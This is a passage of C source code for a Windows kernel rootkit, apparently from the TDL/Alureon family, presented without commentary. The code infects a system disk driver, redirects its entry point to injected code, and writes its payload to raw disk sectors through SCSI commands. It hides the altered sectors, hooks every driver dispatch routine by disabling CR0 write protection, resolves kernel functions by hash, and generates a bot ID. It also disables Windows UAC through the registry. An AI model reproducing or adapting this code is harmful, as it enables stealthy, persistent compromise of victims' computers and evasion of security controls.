 GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector;

 memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors));

 pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart);

 pishHeader=IMAGE_FIRST_SECTION(pinhHeader);

 pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize);

 GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch);

 dwOldCR0=__readcr0();

 __writecr0(dwOldCR0&~(1<<16));

 memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub);

 __writecr0(dwOldCR0);

 memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ));

#ifdef _WIN64

 RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);

#else

 RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);

#endif

 dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);

 pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE));

 dwRsrcSize=TDL_START_SIZE;

 while(dwRsrcSize>0)

 {

 DWORD dwPartSize;





 dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize);

 if(dwPartSize>dwRsrcSize)

 {

 dwPartSize=dwRsrcSize;

 }

 HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset);

 dwRsrcSize-=dwPartSize;

 dwRsrcOffset+=dwPartSize;

 pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize);

 }

 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress);

 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size);

 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint);

 HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum);

 for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)

 {

 svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize);

 ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer));

 GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);

 GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize;

 }

 ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver);

 dwSize=0;

 ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE);

 ZwClose(hSection);

 pinhHeaderCache=RtlImageNtHeader(pvFile);

 pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;

 pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;

 pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint;

 pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum;

 memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE);

 ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);

 //ZwClose(hDriver);

 TDLFSInit();

 _snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);

 

 //////////////////////////////////////////////////////////////////////////

 /*

CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0};

 CHAR cSection[]={'m','a','i','n',0};

 CHAR cKey[]={'r','e','b','o','o','t','s',0};

 

 DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,

 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));

 

 TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,

 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);

 

 DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));





 





 TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,

 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);

*/





 //////////////////////////////////////////////////////////////////////////

 GET_TDL_ADDRESSES->pvLoadLibraryExA=0;

 

 /*

WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0};

 WCHAR wcFile[MAX_PATH];





 _snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2,

 GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);





 CHAR cMsg[]={'i','s','a','f','t','e','\n',0};

 DbgPrint(cMsg);





 BOOL bRet=FALSE;





 HANDLE hFile=0;

 UNICODE_STRING usFile;

 OBJECT_ATTRIBUTES oaAttributes;

 IO_STATUS_BLOCK iosbStatus;





 RtlInitUnicodeString(&usFile,wcFile);

 InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);





 bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE,

 &oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT));





 if(!bRet)

 {

 CHAR cMsg1[]={'c','r','e','a','t','\n',0};

 DbgPrint(cMsg1);





 ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0,

 FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0);

 }

 else

 {

 CHAR cMsg2[]={'o','p','e','n','o','k','\n',0};

 DbgPrint(cMsg2);





 PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));

 }





 if(hFile) ZwClose(hFile);

*/





 PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));





 pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM));

 if(pwqiThread!=0)

 {

 ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread);





 ExQueueWorkItem(pwqiThread,DelayedWorkQueue);

 }

 //KADInit();

 WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\',

 'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\',

 'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\',

 'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0};

 

 WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0};

 DWORD dwUAC=0;





 RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC));

 }

 }

 return STATUS_SUCCESS;

}





NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive)

{

 WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};

 WCHAR wcDriver[MAX_PATH];

 OBJECT_ATTRIBUTES oaAttributes;

 UNICODE_STRING usFile;

 IO_STATUS_BLOCK iosbStatus;

 HANDLE hDriver;





 _snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver")));

 RtlInitUnicodeString(&usFile,wcDriver);

 InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)))

 {

 TDLInit(hDriver);

 

 if(pdoDevice!=0)

 {

 IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));

 }

 return STATUS_SUCCESS;

 }

 return STATUS_OBJECT_NAME_NOT_FOUND;

}





__declspec(noinline) VOID TDLEnd()

{

 return;

}





NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)

{

 PTDL_START ptsStart;

 DWORD dwDelta;

 PIMAGE_NT_HEADERS pinhHeader;

 PIMAGE_SECTION_HEADER pishHeader;

 DWORD dwSection;





 __asm

 {

 call delta

 delta:

 pop eax

 sub eax,offset delta

 mov [dwDelta],eax

 }

 ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));

 if((DWORD_PTR)pusRegistry>1)

 {

 PVOID pvKernel;

 PLIST_ENTRY pleEntry;





 pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink;

 while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0)

 {

 pleEntry=pleEntry->Flink;

 }

 pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase;

 ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES));

 GET_TDL_ADDRESSES->pvKernel=pvKernel;

 GET_TDL_ADDRESSES->pdoDriver=pdoDriver;

 pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew);

 pishHeader=IMAGE_FIRST_SECTION(pinhHeader);

 for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)

 {

 pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE;

 if(*(PDWORD)pishHeader->Name=='TINI')

 {

 *pishHeader->Name=0;

 }

 pishHeader++;

 }

 ((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta));

 return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry);

 }

 else

 {

 PDEVICE_OBJECT pdoDevice;





 GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));

 pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;

 while(pdoDevice!=0)Ã‚ 

 {

 BYTE bDeviceName[MAX_PATH];

 DWORD dwSize;





 if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize)))

 {

 OBJECT_ATTRIBUTES oaAttributes;

 IO_STATUS_BLOCK iosbStatus;

 LARGE_INTEGER liOffset;

 HANDLE hDisk;





 liOffset.QuadPart=ptsStart->ullDriverCodeOffset;

 InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))

 &&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0))

 &&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE))

 {

 ((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart));

 return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice);

 }

 }

 pdoDevice=pdoDevice->NextDevice;

 }

 }

 return STATUS_SUCCESS;

}





NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver)

{

 NTSTATUS ntsResult;

 READ_CAPACITY_DATA rcdData;





 ntsResult=STATUS_VOLUME_DIRTY;

 if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0)))

 {

 LARGE_INTEGER liOffset;





 liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200);

 GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart;

 ntsResult=STATUS_INSUFFICIENT_RESOURCES;

 GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));

 if(GET_TDL_ADDRESSES->pvDriverCode!=0)

 {

 DWORD dwSectorOffset;

 OBJECT_ATTRIBUTES oaAttributes;

 IO_STATUS_BLOCK iosbStatus;

 UNICODE_STRING usDriver;





 RtlInitUnicodeString(&usDriver,pwcDriver);

 InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 ntsResult=STATUS_FILE_LOCK_CONFLICT;

 if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)))

 {

 FILE_STANDARD_INFORMATION fsiInfo;





 if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation)))

 {

 HANDLE hSection;





 if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver)))

 {

 SIZE_T stSize=0;

 PVOID pvFile=0;

 

 if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE)))

 {

 PIMAGE_NT_HEADERS pinhHeader;

 TDL_START tsStart;





 *(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE;

 pinhHeader=RtlImageNtHeader(pvFile);

 memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE);

 memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry);

 dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200);

 ntsResult=STATUS_MEDIA_WRITE_PROTECTED;

 if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset)))

 {

 ntsResult=STATUS_SUCCESS;

 GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase();

 tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c));

 tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint;

 tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391));

 tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63));

 tsStart.ullDriverCodeOffset=liOffset.QuadPart;

 tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f));

 tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f));

 tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8));

 tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;

 tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;

 tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum;

 memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart);

 memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart));

 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;

 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;

 pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;

 pinhHeader->OptionalHeader.CheckSum=0;

 pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0);

 }

 ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);

 }

 ZwClose(hSection);

 }

 }

 }

 }

 }

 return ntsResult;

}





DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)

{

 //CHAR cDebug[]={'T','D','L','\n',0};

 //DbgPrint(cDebug);





 CHAR cBotID[0x10+1];

 WCHAR wcBotID[0x10+sizeof(L'\\')+1];

 WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};

 OBJECT_ATTRIBUTES oaAttributes;

 HANDLE hEvent;

 NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION;

 UNICODE_STRING usName;

 GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID));

 

 _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID);

 RtlInitUnicodeString(&usName,wcBotID);

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE)))

 {

 WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};

 HANDLE hVolumeLink;





 ntsStatus=STATUS_LINK_FAILED;

 ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES));

 memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES));

 strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID)); 

 RtlInitUnicodeString(&usName,wcVolume);

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes)))

 {

 WCHAR wcSystemRoot[MAX_PATH];





 usName.Buffer=wcSystemRoot;

 usName.MaximumLength=sizeof(wcSystemRoot);

 if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0)))

 {

 HANDLE hVolumeDirectory;

 WCHAR wcVolumeDevice[MAX_PATH];

 WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0};





 *wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0;

 _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName);

 RtlInitUnicodeString(&usName,wcVolumeDevice);

 ntsStatus=STATUS_FILE_IS_A_DIRECTORY;

 if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes)))

 {

 PDIRECTORY_BASIC_INFORMATION pdbiInfo;





 pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE);

 if(pdbiInfo!=0)

 {

 DWORD dwSize;

 DWORD dwContext=0;





 ntsStatus=STATUS_BUFFER_TOO_SMALL;

 if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize)))

 {

 ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND;

 for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++)

 {

 WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0};





 if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0')

 &&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0))

 {

 WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0};

 HANDLE hVolumeDevice;

 IO_STATUS_BLOCK iosbStatus;





 ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS;

 _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName);

 RtlInitUnicodeString(&usName,wcVolumeDevice);

 if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))

 {

 PFILE_OBJECT pfoDriver;





 ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES;

 if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0)))

 {

 WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};

 WCHAR wcPath[MAX_PATH];

 HANDLE hDriver;





 GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo;

 while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0)

 {

 GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo;

 }

